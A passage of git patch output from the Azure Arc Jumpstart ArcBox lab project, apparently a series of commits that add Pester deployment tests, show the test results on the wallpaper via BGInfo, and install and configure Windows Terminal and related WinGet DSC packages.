($templateBaseUrl + "artifacts/testDefenderForSQL.ps1") -OutFile $Env:ArcBoxDir\testDefenderForSQL.ps1 + Invoke-WebRequest ($templateBaseUrl + "artifacts/tests/itpro.tests.ps1") -OutFile $Env:ArcBoxTestsDir\itpro.tests.ps1 } # DevOps @@ -215,6 +219,7 @@ if ($flavor -eq "DevOps") { Invoke-WebRequest ($templateBaseUrl + "artifacts/gitops_scripts/ResetBookstore.ps1") -OutFile $Env:ArcBoxGitOpsDir\ResetBookstore.ps1 Invoke-WebRequest ($templateBaseUrl + "artifacts/icons/arc.ico") -OutFile $Env:ArcBoxIconDir\arc.ico Invoke-WebRequest ($templateBaseUrl + "artifacts/icons/bookstore.ico") -OutFile $Env:ArcBoxIconDir\bookstore.ico + Invoke-WebRequest ($templateBaseUrl + "artifacts/tests/devops.tests.ps1") -OutFile $Env:ArcBoxTestsDir\devops.tests.ps1 } # DataOps @@ -240,6 +245,7 @@ if ($flavor -eq "DataOps") { Invoke-WebRequest ($templateBaseUrl + "artifacts/installArcAgent.ps1") -OutFile $Env:ArcBoxDir\agentScript\installArcAgent.ps1 Invoke-WebRequest ($templateBaseUrl + "artifacts/installArcAgentSQLSP.ps1") -OutFile $Env:ArcBoxDir\agentScript\installArcAgentSQLSP.ps1 Invoke-WebRequest ($templateBaseUrl + "artifacts/testDefenderForSQL.ps1") -OutFile $Env:ArcBoxDir\testDefenderForSQL.ps1 + Invoke-WebRequest ($templateBaseUrl + "artifacts/tests/dataops.tests.ps1") -OutFile $Env:ArcBoxTestsDir\dataops.tests.ps1 } # Full diff --git a/azure_jumpstart_arcbox/artifacts/tests/common.tests.ps1 b/azure_jumpstart_arcbox/artifacts/tests/common.tests.ps1 new file mode 100644 index 0000000000..58c9706818 --- /dev/null +++ b/azure_jumpstart_arcbox/artifacts/tests/common.tests.ps1 @@ -0,0 +1,15 @@ +BeforeDiscovery { + $spnpassword = ConvertTo-SecureString $env:spnClientSecret -AsPlainText -Force + $spncredential = New-Object System.Management.Automation.PSCredential ($env:spnClientId, $spnpassword) + + $null = Connect-AzAccount -ServicePrincipal -Credential $spncredential -Tenant $env:spntenantId -Subscription $env:subscriptionId +} + +Describe "ArcBox resource group" -ForEach $VMs { + BeforeAll { + $ResourceGroupName = $env:resourceGroup + } + It "should have 20 resources or more" { + (Get-AzResource -ResourceGroupName $ResourceGroupName).count | Should -BeGreaterOrEqual 20 + } +} diff --git a/azure_jumpstart_arcbox/artifacts/tests/dataops.tests.ps1 b/azure_jumpstart_arcbox/artifacts/tests/dataops.tests.ps1 new file mode 100644 index 0000000000..e69de29bb2 diff --git a/azure_jumpstart_arcbox/artifacts/tests/devops.tests.ps1 b/azure_jumpstart_arcbox/artifacts/tests/devops.tests.ps1 new file mode 100644 index 0000000000..e69de29bb2 diff --git a/azure_jumpstart_arcbox/artifacts/tests/itpro.tests.ps1 b/azure_jumpstart_arcbox/artifacts/tests/itpro.tests.ps1 new file mode 100644 index 0000000000..d2b4ec7287 --- /dev/null +++ b/azure_jumpstart_arcbox/artifacts/tests/itpro.tests.ps1 @@ -0,0 +1,33 @@ + +BeforeDiscovery { + $VMs = @("ArcBox-SQL", "ArcBox-Ubuntu-01", "ArcBox-Ubuntu-02","ArcBox-Win2K19","ArcBox-Win2K22") + + $spnpassword = ConvertTo-SecureString $env:spnClientSecret -AsPlainText -Force + $spncredential = New-Object System.Management.Automation.PSCredential ($env:spnClientId, $spnpassword) + + $null = Connect-AzAccount -ServicePrincipal -Credential $spncredential -Tenant $env:spntenantId -Subscription $env:subscriptionId +} + +# Assert that the Hyper-V virtual machines in $VMs exists, are running and connected as Azure Arc-enabled servers + +Describe "" -ForEach $VMs { + BeforeAll { + $vm = $_ + } + It "VM exists" { + $vmobject = Get-VM -Name $vm + $vmobject | Should -Not -BeNullOrEmpty + } + It "VM is running" { + $vmobject = Get-VM -Name $vm + $vmobject.State | Should -Be "Running" + } + It "Azure Arc Connected Machine exists" { + $connectedMachine = Get-AzConnectedMachine -Name $vm -ResourceGroupName $env:resourceGroup -SubscriptionId $env:subscriptionId + $connectedMachine | Should -Not -BeNullOrEmpty + } + It "Azure Arc Connected Machine is connected" { + $connectedMachine = Get-AzConnectedMachine -Name $vm -ResourceGroupName $env:resourceGroup -SubscriptionId $env:subscriptionId + $connectedMachine.Status | Should -Be "Connected" + } +} From bd5b14cf5b3d9aa972f524fdad2f4a81b8de9a5f Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Tue, 26 Dec 2023 12:14:02 +0000 Subject: [PATCH 020/506] Added test results to wallpaper using BGInfo Signed-off-by: Jan Egil Ring --- .../artifacts/ArcServersLogonScript.ps1 | 47 +++++++++++++++--- .../artifacts/Bootstrap.ps1 | 1 + .../artifacts/tests/arcbox-bginfo.bgi | Bin 0 -> 1125 bytes .../artifacts/tests/common.tests.ps1 | 6 +-- 4 files changed, 44 insertions(+), 10 deletions(-) create mode 100644 azure_jumpstart_arcbox/artifacts/tests/arcbox-bginfo.bgi diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index 713ff976e3..e7911c633c 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -2,6 +2,7 @@ $Env:ArcBoxDir = "C:\ArcBox" $Env:ArcBoxLogsDir = "$Env:ArcBoxDir\Logs" $Env:ArcBoxVMDir = "$Env:ArcBoxDir\Virtual Machines" $Env:ArcBoxIconDir = "$Env:ArcBoxDir\Icons" +$Env:ArcBoxTestsDir = "$Env:ArcBoxDir\Tests" $agentScript = "$Env:ArcBoxDir\agentScript" # Set variables to execute remote powershell scripts on guest VMs @@ -491,17 +492,49 @@ Set-JSDesktopBackground -ImagePath $wallpaperPath Write-Header "Running tests to verify infrastructure" -Invoke-Pester -Path "$Env:ArcBoxTestsDir\common.tests.ps1" -Output Detailed +Invoke-Pester -Path "$Env:ArcBoxTestsDir\common.tests.ps1" -Output Detailed -PassThru -OutVariable tests_common +$tests_passed = $tests_common.Passed.Count +$tests_failed = $tests_common.Failed.Count switch ($env:flavor) { - 'DevOps' { Invoke-Pester -Path "$Env:ArcBoxTestsDir\devops.tests.ps1" -Output Detailed } - 'DataOps' { Invoke-Pester -Path "$Env:ArcBoxTestsDir\dataops.tests.ps1" -Output Detailed } - 'ITPro' { Invoke-Pester -Path "$Env:ArcBoxTestsDir\itpro.tests.ps1" -Output Detailed } + 'DevOps' { + Invoke-Pester -Path "$Env:ArcBoxTestsDir\devops.tests.ps1" -Output Detailed -PassThru -OutVariable tests_devops + $tests_passed = $tests_passed + $tests_devops.Passed.Count + $tests_failed = $tests_failed + $tests_devops.Failed.Count +} + 'DataOps' { + Invoke-Pester -Path "$Env:ArcBoxTestsDir\dataops.tests.ps1" -Output Detailed -Output Detailed -PassThru -OutVariable tests_dataops + $tests_passed = $tests_passed + $tests_dataops.Passed.Count + $tests_failed = $tests_failed + $tests_dataops.Failed.Count + } + 'ITPro' { + Invoke-Pester -Path "$Env:ArcBoxTestsDir\itpro.tests.ps1" -Output Detailed -PassThru -OutVariable tests_itpro + $tests_passed = $tests_passed + $tests_itpro.Passed.Count + $tests_failed = $tests_failed + $tests_itpro.Failed.Count +} 'Full' { - Invoke-Pester -Path "$Env:ArcBoxTestsDir\devops.tests.ps1" -Output Detailed - Invoke-Pester -Path "$Env:ArcBoxTestsDir\dataops.tests.ps1" -Output Detailed - Invoke-Pester -Path "$Env:ArcBoxTestsDir\itpro.tests.ps1" -Output Detailed + Invoke-Pester -Path "$Env:ArcBoxTestsDir\devops.tests.ps1" -Output Detailed -PassThru -OutVariable tests_devops + $tests_passed = $tests_passed + $tests_devops.Passed.Count + $tests_failed = $tests_failed + $tests_devops.Failed.Count + + Invoke-Pester -Path "$Env:ArcBoxTestsDir\dataops.tests.ps1" -Output Detailed -PassThru -OutVariable tests_dataops + $tests_passed = $tests_passed + $tests_dataops.Passed.Count + $tests_failed = $tests_failed + $tests_dataops.Failed.Count + + Invoke-Pester -Path "$Env:ArcBoxTestsDir\itpro.tests.ps1" -Output Detailed -PassThru -OutVariable tests_itpro + $tests_passed = $tests_passed + $tests_itpro.Passed.Count + $tests_failed = $tests_failed + $tests_itpro.Failed.Count } } +Write-Output "Tests succeeded: $tests_passed" +Write-Output "Tests failed: $tests_failed" + +Write-Header "Adding deployment test results to wallpaper using BGInfo" + +Set-Content 'C:\Windows\Temp\arcbox-tests-succeeded.txt' $tests_passed +Set-Content 'C:\Windows\Temp\arcbox-tests-failed.txt' $tests_failed + +bginfo $Env:ArcBoxTestsDir\arcbox-bginfo.bgi /timer:0 /NOLICPROMPT + Stop-Transcript diff --git a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 index 1e8b230894..c4b26a4e3e 100644 --- a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 +++ b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 @@ -169,6 +169,7 @@ Invoke-WebRequest ($templateBaseUrl + "artifacts/dsc/common.dsc.yml") -OutFile $ Invoke-WebRequest ($templateBaseUrl + "artifacts/dsc/dataops.dsc.yml") -OutFile $Env:ArcBoxDscDir\dataops.dsc.yml Invoke-WebRequest ($templateBaseUrl + "artifacts/dsc/devops.dsc.yml") -OutFile $Env:ArcBoxDscDir\devops.dsc.yml Invoke-WebRequest ($templateBaseUrl + "artifacts/dsc/itpro.dsc.yml") -OutFile $Env:ArcBoxDscDir\itpro.dsc.yml +Invoke-WebRequest ($templateBaseUrl + "artifacts/tests/arcbox-bginfo.bgi") -OutFile $Env:ArcBoxTestsDir\arcbox-bginfo.bgi Invoke-WebRequest ($templateBaseUrl + "artifacts/tests/common.tests.ps1") -OutFile $Env:ArcBoxTestsDir\common.tests.ps1 Invoke-WebRequest ($templateBaseUrl + "artifacts/WinGet.ps1") -OutFile $Env:ArcBoxDir\WinGet.ps1 Invoke-WebRequest ($templateBaseUrl + "../tests/GHActionDeploy.ps1") -OutFile "$Env:ArcBoxDir\GHActionDeploy.ps1" diff --git a/azure_jumpstart_arcbox/artifacts/tests/arcbox-bginfo.bgi b/azure_jumpstart_arcbox/artifacts/tests/arcbox-bginfo.bgi new file mode 100644 index 0000000000000000000000000000000000000000..cbfeba7c828e4eb4c9535eab98a0c9a31e2ec303 GIT binary patch literal 1125 zcmah|ZEMs(5Z?L%+FAt>{F*QQV6jIoZQ*D|=(Sb^Yo%W4mw~d`Y|?G_cH{2EyK)r# z5B?$lnBeTjOJ5L8m~1l7GtbV#BLoO~VXB$(n2lN>%T#v~o|1pW{YB2*PI2CN?9c^5mI5lLc%lkC%R1=itc4C6tQ*`{TC%`?PPQ_V z<9Y>#??0H*_VRHZQ`+OmbM9MOpt2`qbML{?ag4tg0JcbW!nLk>EnW1ll4o}dPLwI^ z#KT19FqsoNuNqfr@4T+q^38baMVIwM0z$c+__3!A=G_Zfh0p^&-L=}fp~CA>^2dzd zIcMD`i>kcr0s|KM6x6;5C*^hHgJvl7qphsDgOQs(BO6IKR)*`pz#-YgntyF%ID?^` z-r6%Hel*&T9r{5#&A?&V2X4HI4^dbBY%_yGmSqaYHcHrW%`rGMH&s7fU!Or~4Pvh8 zC56%`4W&5a&Pz;_9jCb7zPegooPh`}Azrc#P8QkbCRCx)@RI9B(z+dat58WJ9j7r% zj+8hfZkqJdUfRpj^^L(5d{c6AK?k`3jp!%Ki%@e{K&jTU!5{^#;)2t-2r4Is(r1HY zPuALAj-|oGBge*vxHg)eMA=A2(xXp&BZQQNEVh6~4r*sn3QXQ`CvrPI#XvgkNN?wa zwAE`hN=_5~Pl1+kH~MBy)Q#)0*jG{)p0V$A)AfSvRz9s Date: Tue, 26 Dec 2023 16:41:40 +0000 Subject: [PATCH 021/506] Added Convert-JSImageToBitMap (for BGInfo to work) Signed-off-by: Jan Egil Ring --- .../artifacts/ArcServersLogonScript.ps1 | 10 ++++++---- .../Azure.Arc.Jumpstart.Common.psd1 | 4 ++-- .../Functions/Public/Convert-JSImageToBitMap.ps1 | 10 ++++++++++ 3 files changed, 18 insertions(+), 6 deletions(-) create mode 100644 azure_jumpstart_arcbox/artifacts/powershell/modules/Azure.Arc.Jumpstart.Common/Functions/Public/Convert-JSImageToBitMap.ps1 diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index e7911c633c..ed125ca99d 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -483,12 +483,14 @@ Write-Host "Creating deployment logs bundle" 7z a $Env:ArcBoxLogsDir\LogsBundle-"$RandomString".zip $Env:ArcBoxLogsDir\*.log }' -# Changing to Jumpstart ArcBox wallpaper +#Changing to Jumpstart ArcBox wallpaper Write-Header "Changing wallpaper" -$wallpaperPath = "$Env:ArcBoxDir\wallpaper.png" -Set-JSDesktopBackground -ImagePath $wallpaperPath +# bmp file is required for BGInfo +Convert-JSImageToBitMap -SourceFilePath "$Env:ArcBoxDir\wallpaper.png" -DestinationFilePath "$Env:ArcBoxDir\wallpaper.bmp" + +Set-JSDesktopBackground -ImagePath "$Env:ArcBoxDir\wallpaper.bmp" Write-Header "Running tests to verify infrastructure" @@ -535,6 +537,6 @@ Write-Header "Adding deployment test results to wallpaper using BGInfo" Set-Content 'C:\Windows\Temp\arcbox-tests-succeeded.txt' $tests_passed Set-Content 'C:\Windows\Temp\arcbox-tests-failed.txt' $tests_failed -bginfo $Env:ArcBoxTestsDir\arcbox-bginfo.bgi /timer:0 /NOLICPROMPT +bginfo.exe $Env:ArcBoxTestsDir\arcbox-bginfo.bgi /timer:0 /NOLICPROMPT Stop-Transcript diff --git a/azure_jumpstart_arcbox/artifacts/powershell/modules/Azure.Arc.Jumpstart.Common/Azure.Arc.Jumpstart.Common.psd1 b/azure_jumpstart_arcbox/artifacts/powershell/modules/Azure.Arc.Jumpstart.Common/Azure.Arc.Jumpstart.Common.psd1 index e81135c294..e3fa33299e 100644 --- a/azure_jumpstart_arcbox/artifacts/powershell/modules/Azure.Arc.Jumpstart.Common/Azure.Arc.Jumpstart.Common.psd1 +++ b/azure_jumpstart_arcbox/artifacts/powershell/modules/Azure.Arc.Jumpstart.Common/Azure.Arc.Jumpstart.Common.psd1 @@ -12,7 +12,7 @@ RootModule = 'Azure.Arc.Jumpstart.Common.psm1' # Version number of this module. -ModuleVersion = '0.0.1' +ModuleVersion = '0.0.3' # Supported PSEditions # CompatiblePSEditions = @() @@ -69,7 +69,7 @@ Description = 'Common functions for Azure Arc Jumpstart' # NestedModules = @() # Functions to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no functions to export. -FunctionsToExport = 'Set-JSDesktopBackground' +FunctionsToExport = 'Set-JSDesktopBackground','Convert-JSImageToBitMap' # Cmdlets to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no cmdlets to export. CmdletsToExport = '' diff --git a/azure_jumpstart_arcbox/artifacts/powershell/modules/Azure.Arc.Jumpstart.Common/Functions/Public/Convert-JSImageToBitMap.ps1 b/azure_jumpstart_arcbox/artifacts/powershell/modules/Azure.Arc.Jumpstart.Common/Functions/Public/Convert-JSImageToBitMap.ps1 new file mode 100644 index 0000000000..6c282a1981 --- /dev/null +++ b/azure_jumpstart_arcbox/artifacts/powershell/modules/Azure.Arc.Jumpstart.Common/Functions/Public/Convert-JSImageToBitMap.ps1 @@ -0,0 +1,10 @@ +function Convert-JSImageToBitMap { + param ( + $SourceFilePath, + $DestinationFilePath + ) + [Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms") | Out-Null + $file = Get-Item $SourceFilePath + $convertfile = new-object System.Drawing.Bitmap($file.Fullname) + $convertfile.Save($newfilname, "bmp") +} \ No newline at end of file From dea4b024ecd42eb305e3cd4c8b4674220c7d5e64 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Tue, 26 Dec 2023 17:48:01 +0000 Subject: [PATCH 022/506] Bugfix - path Signed-off-by: Jan Egil Ring --- .../Azure.Arc.Jumpstart.Common/Azure.Arc.Jumpstart.Common.psd1 | 2 +- .../Functions/Public/Convert-JSImageToBitMap.ps1 | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/powershell/modules/Azure.Arc.Jumpstart.Common/Azure.Arc.Jumpstart.Common.psd1 b/azure_jumpstart_arcbox/artifacts/powershell/modules/Azure.Arc.Jumpstart.Common/Azure.Arc.Jumpstart.Common.psd1 index e3fa33299e..e02b6b26dc 100644 --- a/azure_jumpstart_arcbox/artifacts/powershell/modules/Azure.Arc.Jumpstart.Common/Azure.Arc.Jumpstart.Common.psd1 +++ b/azure_jumpstart_arcbox/artifacts/powershell/modules/Azure.Arc.Jumpstart.Common/Azure.Arc.Jumpstart.Common.psd1 @@ -12,7 +12,7 @@ RootModule = 'Azure.Arc.Jumpstart.Common.psm1' # Version number of this module. -ModuleVersion = '0.0.3' +ModuleVersion = '0.0.4' # Supported PSEditions # CompatiblePSEditions = @() diff --git a/azure_jumpstart_arcbox/artifacts/powershell/modules/Azure.Arc.Jumpstart.Common/Functions/Public/Convert-JSImageToBitMap.ps1 b/azure_jumpstart_arcbox/artifacts/powershell/modules/Azure.Arc.Jumpstart.Common/Functions/Public/Convert-JSImageToBitMap.ps1 index 6c282a1981..bbcf65126b 100644 --- a/azure_jumpstart_arcbox/artifacts/powershell/modules/Azure.Arc.Jumpstart.Common/Functions/Public/Convert-JSImageToBitMap.ps1 +++ b/azure_jumpstart_arcbox/artifacts/powershell/modules/Azure.Arc.Jumpstart.Common/Functions/Public/Convert-JSImageToBitMap.ps1 @@ -6,5 +6,5 @@ function Convert-JSImageToBitMap { [Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms") | Out-Null $file = Get-Item $SourceFilePath $convertfile = new-object System.Drawing.Bitmap($file.Fullname) - $convertfile.Save($newfilname, "bmp") + $convertfile.Save($DestinationFilePath, "bmp") } \ No newline at end of file From b3bc4d23684e86d1db9fefa73a21ba500acb0668 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Tue, 26 Dec 2023 23:26:01 +0000 Subject: [PATCH 023/506] Removed undesired prerelease-flag Signed-off-by: Jan Egil Ring --- azure_jumpstart_arcbox/artifacts/dsc/dataops.dsc.yml | 6 ------ azure_jumpstart_arcbox/artifacts/dsc/devops.dsc.yml | 4 ---- azure_jumpstart_arcbox/artifacts/dsc/itpro.dsc.yml | 1 - 3 files changed, 11 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/dsc/dataops.dsc.yml b/azure_jumpstart_arcbox/artifacts/dsc/dataops.dsc.yml index 86bd3f2de5..57d3cf9aed 100644 --- a/azure_jumpstart_arcbox/artifacts/dsc/dataops.dsc.yml +++ b/azure_jumpstart_arcbox/artifacts/dsc/dataops.dsc.yml @@ -6,7 +6,6 @@ properties: id: kubectl directives: description: Install kubectl - allowPrerelease: true settings: id: Kubernetes.kubectl source: winget @@ -14,7 +13,6 @@ properties: id: kubectx directives: description: Install kubectx - allowPrerelease: true settings: id: ahmetb.kubectx source: winget @@ -22,7 +20,6 @@ properties: id: DotNetSDK7 directives: description: Install Microsoft DotNet SDK 7 - allowPrerelease: true settings: id: Microsoft.DotNet.SDK.7 source: winget @@ -30,7 +27,6 @@ properties: id: SQLServerManagementStudio directives: description: Install Microsoft SQL Server Management Studio - allowPrerelease: true settings: id: Microsoft.SQLServerManagementStudio source: winget @@ -38,7 +34,6 @@ properties: id: Microsoft.Azure.DataCLI directives: description: Install Microsoft Azure Data CLI - allowPrerelease: true settings: id: Microsoft.Azure.DataCLI source: winget @@ -46,7 +41,6 @@ properties: id: Microsoft.AzureDataStudio directives: description: Install Microsoft Azure Data Studio - allowPrerelease: true settings: id: Microsoft.AzureDataStudio source: winget diff --git a/azure_jumpstart_arcbox/artifacts/dsc/devops.dsc.yml b/azure_jumpstart_arcbox/artifacts/dsc/devops.dsc.yml index ded57fe8cc..24a479cb3a 100644 --- a/azure_jumpstart_arcbox/artifacts/dsc/devops.dsc.yml +++ b/azure_jumpstart_arcbox/artifacts/dsc/devops.dsc.yml @@ -6,7 +6,6 @@ properties: id: kubectl directives: description: Install kubectl - allowPrerelease: true settings: id: Kubernetes.kubectl source: winget @@ -14,7 +13,6 @@ properties: id: kubectx directives: description: Install kubectx - allowPrerelease: true settings: id: ahmetb.kubectx source: winget @@ -22,7 +20,6 @@ properties: id: DotNetSDK7 directives: description: Install Microsoft DotNet SDK 7 - allowPrerelease: true settings: id: Microsoft.DotNet.SDK.7 source: winget @@ -30,7 +27,6 @@ properties: id: helm directives: description: Install Helm - allowPrerelease: true settings: id: Helm.Helm source: winget diff --git a/azure_jumpstart_arcbox/artifacts/dsc/itpro.dsc.yml b/azure_jumpstart_arcbox/artifacts/dsc/itpro.dsc.yml index ff917f2c8b..a6a2d1014e 100644 --- a/azure_jumpstart_arcbox/artifacts/dsc/itpro.dsc.yml +++ b/azure_jumpstart_arcbox/artifacts/dsc/itpro.dsc.yml @@ -6,7 +6,6 @@ properties: id: terraform directives: description: Install Terraform - allowPrerelease: true settings: id: Hashicorp.Terraform source: winget From fecc6477d01acfd29e8bdb737664350c8366a73e Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Tue, 26 Dec 2023 23:26:14 +0000 Subject: [PATCH 024/506] Added Windows Terminal Signed-off-by: Jan Egil Ring --- .../artifacts/ArcServersLogonScript.ps1 | 8 ++++++ azure_jumpstart_arcbox/artifacts/WinGet.ps1 | 1 + .../artifacts/dsc/common.dsc.yml | 26 +++++++++++-------- 3 files changed, 24 insertions(+), 11 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index ed125ca99d..b6ef9f1b4a 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -41,6 +41,14 @@ foreach ($key in $keys) { } } +# Create Windows Terminal desktop shortcut +$WshShell = New-Object -comObject WScript.Shell +$WinTerminalPath = (Get-ChildItem "C:\Program Files\WindowsApps" -Recurse | Where-Object { $_.name -eq "wt.exe" }).FullName +$Shortcut = $WshShell.CreateShortcut("$Env:USERPROFILE\Desktop\Windows Terminal.lnk") +$Shortcut.TargetPath = $WinTerminalPath +$shortcut.WindowStyle = 3 +$shortcut.Save() + ################################################ # Setup Hyper-V server before deploying VMs for each flavor ################################################ diff --git a/azure_jumpstart_arcbox/artifacts/WinGet.ps1 b/azure_jumpstart_arcbox/artifacts/WinGet.ps1 index deea085382..6df671a8b3 100644 --- a/azure_jumpstart_arcbox/artifacts/WinGet.ps1 +++ b/azure_jumpstart_arcbox/artifacts/WinGet.ps1 @@ -9,6 +9,7 @@ Start-Transcript -Path $logFilePath -Force -ErrorAction SilentlyContinue Install-PSResource -Name Microsoft.WinGet.DSC -Scope AllUsers -Quiet -AcceptLicense -TrustRepository -Prerelease # Install DSC resources required for ArcBox +Install-PSResource -Name DSCR_Font -Scope AllUsers -Quiet -AcceptLicense -TrustRepository Install-PSResource -Name HyperVDsc -Scope AllUsers -Quiet -AcceptLicense -TrustRepository -Prerelease # Install WinGet CLI diff --git a/azure_jumpstart_arcbox/artifacts/dsc/common.dsc.yml b/azure_jumpstart_arcbox/artifacts/dsc/common.dsc.yml index 1e6479c354..e6943d3ff8 100644 --- a/azure_jumpstart_arcbox/artifacts/dsc/common.dsc.yml +++ b/azure_jumpstart_arcbox/artifacts/dsc/common.dsc.yml @@ -6,7 +6,6 @@ properties: id: git directives: description: Install Git - allowPrerelease: true settings: id: Git.Git source: winget @@ -14,7 +13,6 @@ properties: id: vscode directives: description: Install Visual Studio Code - allowPrerelease: true settings: id: Microsoft.VisualStudioCode source: winget @@ -22,7 +20,6 @@ properties: id: AzureCLI directives: description: Install Azure CLI - allowPrerelease: true settings: id: Microsoft.AzureCLI source: winget @@ -30,7 +27,6 @@ properties: id: PowerShell7 directives: description: Install PowerShell 7 - allowPrerelease: true settings: id: Microsoft.PowerShell source: winget @@ -38,7 +34,6 @@ properties: id: kubectl directives: description: Install kubectl - allowPrerelease: true settings: id: Kubernetes.kubectl source: winget @@ -46,7 +41,6 @@ properties: id: edge directives: description: Install Microsoft Edge - allowPrerelease: true settings: id: Microsoft.Edge source: winget @@ -54,7 +48,6 @@ properties: id: azcopy directives: description: Install azcopy - allowPrerelease: true settings: id: Microsoft.Azure.AZCopy.10 source: winget @@ -62,7 +55,6 @@ properties: id: DotNetSDK7 directives: description: Install Microsoft DotNet SDK 7 - allowPrerelease: true settings: id: Microsoft.DotNet.SDK.7 source: winget @@ -70,7 +62,6 @@ properties: id: helm directives: description: Install Helm - allowPrerelease: true settings: id: Helm.Helm source: winget @@ -78,7 +69,6 @@ properties: id: Microsoft.Sysinternals.BGInfo directives: description: Install Sysinternals BGInfo - allowPrerelease: true settings: id: Microsoft.Sysinternals.BGInfo source: winget @@ -86,10 +76,24 @@ properties: id: OpenSSL directives: description: Install OpenSSL - allowPrerelease: true settings: id: FireDaemon.OpenSSL source: winget + - resource: Microsoft.WinGet.DSC/WinGetPackage + id: Microsoft.WindowsTerminal + directives: + description: Install Microsoft Windows Terminal + settings: + id: Microsoft.WindowsTerminal + version: "1.18.3181.0" + source: winget + - resource: DSCR_Font/cFont + id: CascadiaMono + directives: + description: Install font CascadiaMono + settings: + FontName: Cascadia Mono + FontFile: C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.18.3181.0_x64__8wekyb3d8bbwe\CascadiaMono.ttf - resource: PSDscResources/WindowsFeature id: Hyper-V directives: From 37eafb42c890a8a1f9590c4bfa009eeddaf18955 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Wed, 27 Dec 2023 00:07:54 +0000 Subject: [PATCH 025/506] Windows Terminal needs to be installed per user, while WinGet Configuration runs as SYSTEM. Hence, this package is now installed in the logon script. Signed-off-by: Jan Egil Ring --- azure_jumpstart_arcbox/artifacts/WinGet.ps1 | 5 +++++ azure_jumpstart_arcbox/artifacts/dsc/common.dsc.yml | 8 -------- 2 files changed, 5 insertions(+), 8 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/WinGet.ps1 b/azure_jumpstart_arcbox/artifacts/WinGet.ps1 index 6df671a8b3..549120bc73 100644 --- a/azure_jumpstart_arcbox/artifacts/WinGet.ps1 +++ b/azure_jumpstart_arcbox/artifacts/WinGet.ps1 @@ -17,6 +17,11 @@ $null = Repair-WinGetPackageManager -AllUsers Write-Header 'Installing WinGet packages and DSC configurations' $winget = Join-Path -Path $env:LOCALAPPDATA -ChildPath Microsoft\WindowsApps\winget.exe + +# Windows Terminal needs to be installed per user, while WinGet Configuration runs as SYSTEM. Hence, this package is installed in the logon script. +& $winget install Microsoft.WindowsTerminal --version 1.18.3181.0 -s winget + +# Apply WinGet Configuration files & $winget configure --file C:\ArcBox\DSC\common.dsc.yml --accept-configuration-agreements --disable-interactivity switch ($env:flavor) { diff --git a/azure_jumpstart_arcbox/artifacts/dsc/common.dsc.yml b/azure_jumpstart_arcbox/artifacts/dsc/common.dsc.yml index e6943d3ff8..3e21650827 100644 --- a/azure_jumpstart_arcbox/artifacts/dsc/common.dsc.yml +++ b/azure_jumpstart_arcbox/artifacts/dsc/common.dsc.yml @@ -79,14 +79,6 @@ properties: settings: id: FireDaemon.OpenSSL source: winget - - resource: Microsoft.WinGet.DSC/WinGetPackage - id: Microsoft.WindowsTerminal - directives: - description: Install Microsoft Windows Terminal - settings: - id: Microsoft.WindowsTerminal - version: "1.18.3181.0" - source: winget - resource: DSCR_Font/cFont id: CascadiaMono directives: From f8e0455a06da8aefe2f5dea1b2cbfb1f74bde9e0 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Wed, 27 Dec 2023 09:21:04 +0000 Subject: [PATCH 026/506] Configured Windows Terminal as the default terminal application Signed-off-by: Jan Egil Ring --- .../artifacts/ArcServersLogonScript.ps1 | 13 +++++++++++++ 1 file changed, 13 insertions(+) diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index b6ef9f1b4a..1f1c5dd2b6 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -49,6 +49,19 @@ $Shortcut.TargetPath = $WinTerminalPath $shortcut.WindowStyle = 3 $shortcut.Save() +# Configure Windows Terminal as the default terminal application +$registryPath = "HKCU:\Console\%%Startup" + +if (Test-Path $registryPath) { + Set-ItemProperty -Path $registryPath -Name "DelegationConsole" -Value "{2EACA947-7F5F-4CFA-BA87-8F7FBEEFBE69}" + Set-ItemProperty -Path $registryPath -Name "DelegationTerminal" -Value "{E12CFF52-A866-4C77-9A90-F570A7AA2C6B}" +} else { + New-Item -Path $registryPath -Force | Out-Null + Set-ItemProperty -Path $registryPath -Name "DelegationConsole" -Value "{2EACA947-7F5F-4CFA-BA87-8F7FBEEFBE69}" + Set-ItemProperty -Path $registryPath -Name "DelegationTerminal" -Value "{E12CFF52-A866-4C77-9A90-F570A7AA2C6B}" +} + + ################################################ # Setup Hyper-V server before deploying VMs for each flavor ################################################ From 1984065f855e16aa035ad214174b4a326f3834a6 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: 